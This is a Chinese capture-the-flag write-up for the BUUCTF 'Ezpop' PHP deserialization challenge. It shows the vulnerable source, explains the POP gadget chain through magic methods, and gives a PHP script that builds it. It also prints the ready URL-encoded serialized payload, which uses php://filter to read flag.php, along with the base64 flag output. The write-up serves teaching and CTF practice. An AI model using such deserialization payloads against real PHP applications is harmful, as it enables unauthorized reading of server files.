BUUCTF-WEB 【MRCTF2020】Ezpop 1

反序列化题:POP链构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
# pop构造链 一般是从 可利用的地方 回溯到 可控制的地方
# 1. 可以看到 当前类有一个魔法方法 __invoke 当这个类 以调用函数的方式调用时 就会触发该方法 我们看看那个类的方法可以调用类
public function __invoke(){
$this->append($this->var);
}
}

#
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
# 4. Show类 的 __toString 方法 会返回一个 $this->str->source
# 可以把$this->str 属性 赋值成 Test类,这样就相当于,$this->str->source Test->source 也就相当于调用了一个不存在的属性
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}
#
# 3. __get 这个魔法方法要怎么被调用呢 答案是 获取一个不存在的属性或者私有属性
public function __get($key){
$function = $this->p;
# 2. 发现在Test 类中可以调用一个自定义函数 用构造方法来创建一个类
return $function();
}
}



if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

分析

Modifier 类中发现include 函数,可以通过php://filter 去读取flag.php源代码。

最终我们要通过Modifierappend方法去包含flag.php的源代码。在Modifier 类中找到一个魔法方法__invoke() ,这个类能控制 append 方法,触发__invoke() 这个魔法方法的方式是以调用函数的方式去调用类。而在Test类中,存在一个__get 的魔法方法,有一条语句,return $function(); 并且$function可控制。而__get 触发方式是 调用一个不存在的属性或者私有属性 时,就会触发该方法。而在Show 类中存在__toString的魔法方法,return $this->str->source; 的$this->str可控制。

构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}

public function __invoke(){
$this->append($this->var);
}
}

#
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->str = new Test();
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source."";
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
public function __get($key){
$function = $this->p;
return $function();
}
}

$s1 = new Show();
$s1 = new Show($s1);
var_dump(urlencode(serialize($s1)));

得到

1
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

提交

image-20210418175257342

1
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezIzN2Q3ODUzLWE3NDUtNGU4OS1hODk0LTFjODA4NGJkMzBmY30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

解码

image-20210418175521866

在构造序列化的时候,创建了两次show对象,在之前都只是创建一次,而这里创建两次是因为创建一次的话,并不会调用到其他的类。

一道题看一天,看下来,还是有些懵的感觉。